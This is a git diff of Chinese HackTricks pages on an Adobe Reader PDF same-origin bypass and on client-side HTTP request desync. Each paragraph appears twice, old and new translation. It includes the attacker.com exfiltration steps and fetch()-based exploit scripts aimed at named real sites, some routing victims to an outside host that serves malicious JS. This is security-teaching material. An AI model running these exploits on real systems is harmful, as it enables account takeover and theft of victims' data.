/AcroForm <<
|
|
||||||
/Fields [<<
|
|
||||||
/T (0)
|
|
||||||
/Kids [<<
|
|
||||||
/Subtype /Widget
|
|
||||||
/Rect []
|
|
||||||
/T ()
|
|
||||||
/FT /Btn
|
|
||||||
>>]
|
|
||||||
>>]
|
|
||||||
/XFA 1 0 R
|
|
||||||
>>
|
|
||||||
/Pages <<>>
|
|
||||||
>>
|
|
||||||
>>
|
|
||||||
```
|
|
||||||
在找到这些功能之后,我发现了一个同源策略绕过方法。这使得可以将受害者的浏览器用作代理(@beef仍在开发模块^^)。
|
|
||||||
|
|
||||||
绕过方法非常简单:
|
|
||||||
|
|
||||||
1. 用户A从http://attacker.com/evil.pdf加载evil.pdf。
|
|
||||||
2. Evil.pdf使用formcalc GET来读取http://attacker.com/redirect.php。
|
|
||||||
3. redirect.php使用301重定向到http://facebook.com。
|
|
||||||
4. Adobe Reader会跟随重定向并读取响应,而不会查找crossdomain.xml。
|
|
||||||
5. evil.pdf通过POST将检索到的内容发送到http://attacker.com/log.php。
|
|
||||||
|
|
||||||
请注意,使用此技术可以窃取页面的CSRF令牌并滥用CSRF漏洞。
|
|
||||||
|
|
||||||
这个简单的绕过方法现在已经修复了。我希望他们也能实现对同源请求的对话框警告。
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的PEASS或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们独家的[**PEASS家族**](https://opensea.io/collection/the-peass-family) [**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)。
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**查看 [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的PEASS或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 发现我们独家的[**PEASS家族**](https://opensea.io/collection/the-peass-family) [**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||||
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)。
|
||||||
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,67 +1,69 @@
|
||||||
# 浏览器HTTP请求劫持
|
# 浏览器 HTTP 请求走私
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
## CL.0/H2.0 兼容浏览器的解同步
|
||||||
|
|
||||||
## CL.0/H2.0 浏览器兼容的分离
|
当 **Content Length** (CL) 头被 **后端服务器** 完全 **忽略** 时,就会发生这种漏洞。然后,后端将 **正文** 视为 **第二个请求方法的开始**。忽略 CL 相当于将其视为值为 0,因此这是一个 CL.0 解同步 - 一个 [已知的](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) 但较少探索的攻击类别。
|
||||||
|
|
||||||
当**后端服务器**完全**忽略**了**内容长度**(CL)头时,就会出现此漏洞。然后,后端将**请求体**视为**第二个请求方法的开始**。忽略CL等同于将其视为值为0,因此这是一个CL.0分离 - 一个已知但较少探索的攻击类别。
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
||||||
|
|
||||||
攻击之所以可能是因为后端服务器根本**不期望收到POST请求**。
|
攻击之所以可能,是因为后端服务器根本 **没有预料到 POST 请求**。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
请注意,此漏洞是由一个完全**有效**、符合规范的**HTTP请求**所**触发**的。这意味着**前端无法对其进行保护**,甚至可以由浏览器触发。
|
请注意,这种漏洞是由完全 **有效的**、符合规范的 **HTTP 请求** **触发** 的。这意味着 **前端没有任何机会保护** 免受其影响,甚至可能被浏览器触发。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**CL.0**和**H2.0**之间唯一的**区别**是后者使用了**HTTP2**(具有隐式内容长度头),但**后端也没有使用**。
|
**CL.0** 和 **H2.0** 之间的唯一 **区别** 是后者使用的是 **HTTP2**(它有一个隐式的内容长度头),但 **后端也不使用**。
|
||||||
|
|
||||||
## 客户端分离
|
## 客户端解同步
|
||||||
|
|
||||||
传统的分离攻击会**破坏**前端和后端服务器之间的**连接**,因此在不使用前端/后端架构的网站上是不可能的。从现在开始,这些都是**服务器端分离**。大多数**服务器端分离**只能由**自定义的HTTP客户端发出格式错误的请求**来触发。
|
传统的解同步攻击会 **污染** **前端和后端** 服务器之间的 **连接**,因此在不使用前端/后端架构的网站上是不可能的。从现在开始,这些是 **服务器端解同步**。大多数 **服务器端解同步** 只能由 **自定义 HTTP 客户端发出格式错误的请求** 来触发。
|
||||||
|
|
||||||
浏览器能够引起分离的能力开启了一整个新的威胁类别,称为**客户端分离**(CSD)。\
|
**浏览器引起解同步** 的能力使得一整个新的威胁类别称为 **客户端解同步** (CSD) 成为可能。\
|
||||||
CSD攻击始于**受害者访问攻击者的网站**,然后使其浏览器发送**两个跨域请求到易受攻击的网站**。**第一个**请求被设计为**分离浏览器的连接**,并使**第二个请求触发**一个有害的响应,通常是让攻击者控制受害者的账户。
|
CSD 攻击从 **受害者访问攻击者的网站** 开始,然后使他们的浏览器向易受攻击的网站发送 **两个跨域请求**。**第一个** 请求被设计为 **解同步浏览器的连接** 并使 **第二个请求触发** 有害的响应,通常使攻击者控制受害者的账户。
|
||||||
|
|
||||||
### 检测
|
### 检测
|
||||||
|
|
||||||
CSD向量是一个具有**两个关键属性**的HTTP请求。
|
CSD 向量是具有 **两个** **关键** 属性的 HTTP 请求。
|
||||||
|
|
||||||
首先,**服务器必须忽略请求的内容长度(CL)**。这通常是因为请求**触发了服务器错误**,或者服务器根本**不期望将POST请求**发送到所选的端点。尝试针对**静态文件**和**服务器级重定向**进行攻击,并通过**过长的URL**和**半格式错误**(如 /%2e%2e)来触发错误。
|
首先,**服务器必须忽略请求的 Content-Length (CL)**。这通常是因为请求要么 **触发了服务器错误**,要么服务器根本 **没有预料到对选定端点的 POST 请求**。尝试针对 **静态文件** 和 **服务器级重定向**,并通过 **过长的 URL** 和 **半格式错误** 的请求(如 /%2e%2e)来触发错误。
|
||||||
|
|
||||||
其次,请求必须能够在**Web浏览器跨域**中触发。浏览器严格限制对跨域请求的控制,因此您对头部的控制权有限,如果请求有请求体,则需要使用HTTP POST方法。最终,您只能**控制URL**,以及一些其他杂项,如**Referer头部**、**请求体**和**Content-Type的后半部分**。
|
其次,请求必须能够在 **浏览器中跨域触发**。浏览器严格限制对跨域请求的控制,因此您对头部的控制有限,如果您的请求有正文,您将需要使用 HTTP POST 方法。最终,您只能 **控制** **URL**,加上一些零碎的东西,如 **Referer 头**、**正文** 和 **Content-Type 的后半部分**。
|
||||||
|
|
||||||
#### 忽略CL测试
|
#### CL 忽略测试
|
||||||
|
|
||||||
测试此配置错误的方法是**发送2个请求并劫持其中一个**。如果**劫持的**连接**影响了第二个请求的响应**,则表示它是**易受攻击的**:
|
测试此配置错误的方法是 **发送 2 个请求并在中间走私一个**。如果 **走私的** 连接 **影响了** **第二个** 请求的响应,这意味着它是 **易受攻击的**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
请注意,您**不能**仅通过发送一个**比已发送的Content-Length更大**的Content-Length并**查找超时**来测试此漏洞,因为一些服务器即使没有接收到整个请求体也会**响应**。
|
请注意,您 **不能** 仅通过发送一个 **比发送的更大的 Content-Length** 并 **寻找超时** 来测试这个漏洞,因为有些服务器即使 **没有收到整个正文** 也会 **响应**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
需要注意的是,目标网站是否支持HTTP/2。CSD攻击通常利用HTTP/1.1的连接重用,而Web浏览器在可能的情况下更喜欢使用HTTP/2,因此如果目标网站支持HTTP/2,则您的攻击可能不起作用。有一个**例外**;一些**转发代理不支持HTTP/2**,因此您可以利用使用它们的任何人。这包括企业代理、某些侵入式VPN甚至一些安全工具。
|
重要的是要注意目标网站是否支持 HTTP/2。CSD 攻击通常利用 HTTP/1.1 连接重用,而网络 **浏览器更喜欢尽可能使用 HTTP/2**,所以如果目标 **网站支持 HTTP/2,您的攻击不太可能成功**。有一个 **例外**;一些 **转发代理不支持 HTTP/2**,所以您可以利用使用它们的任何人。这包括企业代理、某些侵入性 VPN 甚至一些安全工具。
|
||||||
|
|
||||||
### 确认
|
### 确认
|
||||||
|
|
||||||
首先,选择一个用于发起攻击的站点。该站点必须通过HTTPS访问,并且位于与目标不同的域上。
|
首先,选择一个用于发起攻击的站点。该站点必须通过 HTTPS **访问** 并位于与目标 **不同的域上**。
|
||||||
|
|
||||||
接下来,确保您没有配置代理,然后浏览到您的攻击站点。打开开发者工具并切换到网络选项卡。为了帮助调试潜在的问题,我建议进行以下调整:
|
接下来,确保您 **没有配置代理**,然后浏览到您的攻击站点。打开 **开发者工具** 并切换到 **网络标签页**。为了帮助您稍后调试潜在问题,我建议进行以下调整:
|
||||||
|
|
||||||
* 选择“保留日志”复选框。
|
* 选择 **"保留日志"** 复选框。
|
||||||
* 右键单击列标题,启用“连接ID”列。
|
* 右键单击列标题并 **启用 "连接 ID" 列**。
|
||||||
|
|
||||||
切换到开发者控制台并使用fetch()执行JavaScript来复制您的攻击序列。可能会看起来像这样:
|
切换到开发者控制台并执行 JavaScript 来复制您的攻击序列使用 fetch()。这可能看起来像是:
|
||||||
```javascript
|
```javascript
|
||||||
fetch('https://example.com/', {
|
fetch('https://example.com/', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
@ -72,33 +74,25 @@ credentials: 'include' // poison 'with-cookies' pool
|
||||||
location = 'https://example.com/' // use the poisoned connection
|
location = 'https://example.com/' // use the poisoned connection
|
||||||
})
|
})
|
||||||
```
|
```
|
||||||
我已将获取模式设置为'no-cors',以确保Chrome在网络选项卡中显示连接ID。我还设置了'credentials: 'include'',因为Chrome有两个单独的连接池-一个用于带有cookie的请求,另一个用于不带cookie的请求。通常,您希望利用导航,并且这些导航使用'with-cookies'池,因此值得养成始终污染该池的习惯。
|
### 利用 - 存储
|
||||||
|
|
||||||
当您执行此操作时,您应该在网络选项卡中看到两个具有相同连接ID的请求,第二个请求应该触发404错误:
|
一种选择是识别目标站点上允许您**存储文本数据**的功能,并制定前缀,使得受害者的cookies、认证头或密码最终被**存储在您可以检索的地方**。这种攻击流程与[服务器端请求走私几乎完全相同](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests),因此我不会详细讨论。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (158) (2).png>)
|
### 利用 - **链式\&转移**
|
||||||
|
|
||||||
如果一切按预期工作,恭喜您-您发现了一个客户端解同步漏洞!
|
在正常情况下,许多类别的**服务器端攻击**只能由直接访问目标网站的攻击者发起,因为它们**依赖于浏览器拒绝发送的HTTP请求**,比如**篡改** **HTTP头** - 网络缓存投毒、大多数服务器端请求走私、主机头攻击、基于User-Agent的[SQLi](https://portswigger.net/web-security/sql-injection)、CSRF JSON Content-type以及其他许多攻击。
|
||||||
|
|
||||||
### 利用-存储
|
成功攻击的最简单路径来自两种通常用于服务器端解同步攻击的关键技术:[**通过主机头重定向进行JavaScript资源投毒**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect),以及使用[**HEAD方法**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head)将带有有害HTML的响应拼接在一起。这两种技术都需要**适应**一些与在**受害者浏览器**中操作相关的新颖挑战。
|
||||||
|
|
||||||
一种选择是识别目标站点上允许您存储文本数据的功能,并制作前缀,以便您的受害者的cookie、身份验证标头或密码最终被存储在您可以检索的位置。此攻击流程与服务器端请求解同步几乎完全相同,因此我不会详细介绍。
|
## 利用示例
|
||||||
|
|
||||||
### 利用-链式攻击
|
### 堆叠HEAD示例
|
||||||
|
|
||||||
在正常情况下,许多类别的服务器端攻击只能由直接访问目标网站的攻击者发起,因为它们依赖于浏览器拒绝发送的HTTP请求,例如篡改HTTP标头-Web缓存污染、大多数服务器端请求解同步、主机标头攻击、基于用户代理的SQLi、CSRF JSON内容类型和其他许多攻击。
|
* **彩色利用**
|
||||||
|
|
||||||
成功攻击的最简单路径来自通常用于服务器端解同步攻击的两个关键技术:通过主机标头重定向进行JavaScript资源污染和使用HEAD方法通过有害HTML拼接响应。这两种技术需要进行适应,以克服与在受害者的浏览器中操作相关的一些新挑战。
|
|
||||||
|
|
||||||
## 攻击示例
|
|
||||||
|
|
||||||
### 堆叠的HEAD示例
|
|
||||||
|
|
||||||
* 彩色攻击
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (2) (3).png>)
|
![](<../../.gitbook/assets/image (2) (3).png>)
|
||||||
|
|
||||||
* JS攻击
|
* **JS利用**
|
||||||
```javascript
|
```javascript
|
||||||
fetch('https://www.capitalone.ca/assets', {
|
fetch('https://www.capitalone.ca/assets', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
@ -112,15 +106,15 @@ location = 'https://www.capitalone.ca/'
|
||||||
```
|
```
|
||||||
解释:
|
解释:
|
||||||
|
|
||||||
* 在 /assets 中滥用 CL.0(它重定向到 /assets/ 并且不检查 CL)
|
* 在 /assets 中**滥用 CL.0**(它会重定向到 /assets/ 并且不检查 CL)
|
||||||
* 利用一个 HEAD 请求(因为 HEAD 响应仍然包含 content-length)
|
* **走私**一个 **HEAD** 请求(因为 HEAD 响应仍然包含 content-length)
|
||||||
* 利用一个 GET 请求,其内容将在响应中被反射,并带有有效载荷。
|
* **走私**一个 **GET** 请求,其**内容**将在响应中以载荷**反射**
|
||||||
* 由于 HEAD 请求的 content-length,此请求的响应将是 HEAD 请求的正文
|
* 由于 **HEAD 请求的 content-length**,此请求的**响应**将是 **HEAD 请求的正文**
|
||||||
* 设置 cors 模式。通常不会这样做,但在这种情况下,服务器对初始 POST 的响应是一个重定向,如果跟随,则 exploit 将无法工作。因此,使用 cors 模式来触发错误并使用 `catch` 重定向受害者。
|
* 设置 **cors 模式**。通常不这样做,但在这种情况下,服务器对**初始** **POST** 的**响应**是一个**重定向**,如果**跟随**,**利用将不会工作**。因此,使用 **cors 模式** 来**触发**一个**错误**并使用 **`catch`** **重定向**受害者。
|
||||||
|
|
||||||
### Host header 重定向 + 客户端缓存污染
|
### **Host 头重定向 + 客户端缓存投毒**
|
||||||
|
|
||||||
* JS exploit
|
* **JS 漏洞**
|
||||||
```javascript
|
```javascript
|
||||||
fetch('https://redacted/', {
|
fetch('https://redacted/', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
@ -128,28 +122,28 @@ body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||||
credentials: 'include'}
|
credentials: 'include'}
|
||||||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||||||
```
|
```
|
||||||
* 通过在Host头中使用**不同的域名**发送到`/+webvpn+/`的请求会被**重定向**到Host头中的该**域名**的`/+webvpn+/index.html`。
|
* 向`/+webvpn+/`的请求中,如果**Host头部**的**域名不同**,会收到一个重定向到该Host头部中的**域名**的`/+webvpn+/index.html`。
|
||||||
* 第二个请求中的位置被设置为`/+CSCOE+/win.js`,以便**污染**该`.js`文件的**缓存**。
|
* 在**第二个**请求中,location被设置为`/+CSCOE+/win.js`,以便对该`.js`文件的**缓存**进行**污染**。
|
||||||
* 这个请求将被回答为将`/+webvpn+/`重定向到攻击者的域名,并带有路径`/+webvpn+/index.html`。
|
* 这个请求将会收到一个重定向,从`/+webvpn+/`重定向到攻击者的域名,路径为`/+webvpn+/index.html`
|
||||||
* **`win.js`**的**缓存**将被**污染**为重定向到攻击者的页面,但受害者也会**跟随**重定向,因为它在`location`变量中被分配,并最终进入攻击者的网页。
|
* **`win.js`**的**缓存**将会被**污染**,重定向到**攻击者**的页面,同时**受害者**也会**跟随**`location`变量中指定的重定向,最终进入攻击者的网页。
|
||||||
* 攻击者随后将**受害者**重定向到`https://redacted/+CSCOE+/logon.html`。该页面将导入`/+CSCOE+/win.js`。其**缓存是一个重定向**到攻击者的服务器,因此,攻击者可以**响应恶意JS**。
|
* 然后,攻击者将会将**受害者**重定向到`https://redacted/+CSCOE+/logon.html`。这个页面将会导入`/+CSCOE+/win.js`。其**缓存是一个重定向**到**攻击者**服务器的,因此,攻击者可以**响应一个恶意的JS**。
|
||||||
|
|
||||||
**受害者**将**两次访问**攻击者的页面,第一次它**期望一个HTML**将受害者重定向回`https://redacted/+CSCOE+/logon.html`,第二次它**期望javascript代码**(有效载荷)。可以使用多语言来仅使用一个响应提供这两个响应:
|
**受害者**将会**两次访问**攻击者的页面,第一次它**期望一个HTML**,将受害者重定向回`https://redacted/+CSCOE+/logon.html`,第二次它**期望javascript代码**(有效载荷)。一个多用途文件可以被用来仅用一个响应来提供两种回应:
|
||||||
```
|
```
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/html
|
Content-Type: text/html
|
||||||
|
|
||||||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||||||
```
|
```
|
||||||
### 使用分块传输编码的 HEAD 负载
|
### 带有分块TE的HEAD负载
|
||||||
|
|
||||||
在寻找 CSD 时,您还可以测试半格式错误的 URL,如 `/..%2f` 或 `/%2f`。
|
在寻找CSD时,您也可以**测试半格式错误的**URL,例如`/..%2f`或`/%2f`。
|
||||||
|
|
||||||
* **彩色利用**
|
* **彩色利用**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
||||||
|
|
||||||
* **JS 利用**
|
* **JS利用**
|
||||||
```javascript
|
```javascript
|
||||||
fetch('https://www.verisign.com/%2f', {
|
fetch('https://www.verisign.com/%2f', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
@ -170,14 +164,14 @@ form.submit()
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
* 访问页面 **`/%2f`** 来利用 **CL.0** 漏洞。
|
* 访问页面 **`/%2f`** 来利用 **CL.0** 漏洞。
|
||||||
* 使用 **`Transfer-Encoding: chunked` header** 进行伪造的 **HEAD** 请求。
|
* 使用 **`Transfer-Encoding: chunked` 头部** 来走私一个 **HEAD** 请求。
|
||||||
* 在这种情况下,需要这个 header,否则服务器会拒绝带有 body 的 HEAD 请求。
|
* 在这种情况下需要此头部,因为否则 **服务器拒绝接受带有正文的 HEAD 请求**。
|
||||||
* 然后,用户发送一个 POST 请求,其 body 包含了前一个 HEAD 请求的 **结束块** 和一个被伪造的 **包含内容**(JS 载荷)的新请求,该内容将在响应中被 **反射**。
|
* 然后,用户发送一个 POST 请求,其正文包含了前一个 HEAD 请求的 **结束块** 和一个被走私的**新请求**,其中包含将在响应中被**反映**的**内容**(JS 载荷)。
|
||||||
* 因此,浏览器将把对 HEAD 请求的响应视为对 POST 请求的响应,该响应也包含了反映用户在第二个伪造请求中的输入的响应。
|
* 因此,浏览器将把 **对 HEAD 请求的响应** 视为 **对 POST 请求的响应**,后者的**正文**响应中也将**包含**反映了用户在第二个走私请求中的**输入**。
|
||||||
|
|
||||||
### Host header 重定向 + RC
|
### Host 头部重定向 + RC
|
||||||
|
|
||||||
* **JS Exploit**
|
* **JS 漏洞利用**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
function reset() {
|
function reset() {
|
||||||
|
@ -210,73 +204,73 @@ credentials: 'include'
|
||||||
</script>
|
</script>
|
||||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||||
```
|
```
|
||||||
在这种情况下,再次存在一个可以用来劫持JS导入的**主机头重定向**。然而,这次的**重定向不可缓存**,所以客户端的**缓存污染**不是一个选择。
|
在这种情况下,同样存在一个可以用来**劫持**一个**JS**导入的**主机头** **重定向**。然而,这次**重定向不可缓存**,因此客户端**缓存** **污染**不是一个选项。
|
||||||
|
|
||||||
因此,攻击将使**受害者在一个标签页中访问易受攻击的页面**,然后,在页面尝试**加载JS文件之前**,**毒化**套接字**走私连接**(在这种情况下为3个)。
|
因此,执行的攻击将使**受害者在一个标签页中访问易受攻击的页面**,然后就在页面尝试**加载JS**文件**之前**,**污染**套接字**走私连接**(这种情况下有3个)。\
|
||||||
由于**时间**必须非常**精确**,所以攻击是针对每次迭代的**新标签页**执行,直到成功为止。
|
因为**时机**必须非常**精确**,所以攻击是针对**每次迭代的新标签页**执行的,直到成功。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
请记住,在这种情况下,攻击的是`/meeting_testjs.cgi`,因为它**加载**一个响应**404**的**Javascript**,所以它不会被缓存。在其他尝试攻击**已缓存JS**的场景中,您需要等待它从缓存中**消失**,然后再发起新的攻击。
|
请记住,在这种情况下攻击的是`/meeting_testjs.cgi`,因为它**加载**了一个响应为**404**的**Javascript**,所以没有被缓存。在其他你尝试攻击**被缓存的JS**的场景中,你需要等待它**从缓存中消失**,然后再发起新的攻击。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
摘要步骤:
|
总结步骤:
|
||||||
|
|
||||||
* 打开一个新窗口。
|
* 打开一个新窗口。
|
||||||
* 发出一个无害的请求到目标,以建立一个新的连接,使时间更加一致。
|
* 向目标发出一个无害的请求,以建立一个新的连接,使时序更加一致。
|
||||||
* 在窗口中导航到目标页面`/meeting_testjs.cgi`。
|
* 将窗口导航至目标页面/meeting\_testjs.cgi。
|
||||||
* 120毫秒后,使用重定向工具创建三个被毒化的连接。
|
* 120毫秒后,使用重定向小工具创建三个被污染的连接。
|
||||||
* 5毫秒后,在渲染`/meeting_testjs.cgi`时,受害者有希望尝试导入`/appletRedirect.js`并被重定向到x.psres.net,该网站提供恶意JS。
|
* 5毫秒后,在渲染/meeting\_testjs.cgi时,受害者希望尝试导入/appletRedirect.js并被重定向到x.psres.net,该网站提供恶意JS。
|
||||||
* 如果没有成功,重试攻击。
|
* 如果没有成功,重试攻击。
|
||||||
|
|
||||||
## 基于暂停的解同步 <a href="#pause" id="pause"></a>
|
## 基于暂停的不同步 <a href="#pause" id="pause"></a>
|
||||||
|
|
||||||
通过**触发错误的请求超时实现**,暂停也可以创建新的解同步漏洞。
|
暂停也可以通过**触发错误的请求超时实现**来创建新的不同步漏洞。
|
||||||
|
|
||||||
因此,攻击者可以发送一个带有**指示存在请求体的头部**的请求,然后**等待**前端在发送请求体之前**超时**。如果前端超时但**保持连接打开**,那个请求的**请求体**将被**视为新的请求**。
|
